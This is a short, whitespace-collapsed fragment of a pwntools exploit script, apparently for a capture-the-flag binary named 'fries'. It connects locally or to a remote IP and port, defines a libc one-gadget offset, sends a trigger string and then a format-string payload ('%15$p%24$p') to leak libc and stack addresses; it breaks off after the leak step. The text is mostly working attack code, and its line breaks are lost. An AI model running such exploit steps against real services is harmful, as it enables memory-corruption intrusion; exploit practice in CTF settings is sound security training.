defpayload(lo): global sh if lo: sh = process('./fries') if lo & 0b10: gdb.attach(sh, gdbscript='b *$rebase(0x1300)') else: sh = remote('43.249.195.138', 21942) oneGadgetOffset = 0xebc85 libc = ELF('./libc.so.6')
# payload 1, enter adventure() sh.sendline(b'fries\0')
# payload 2, leak libc and stackAddr sh.recvuntil(b'pier\n') sh.sendline(b'%15$p%24$p')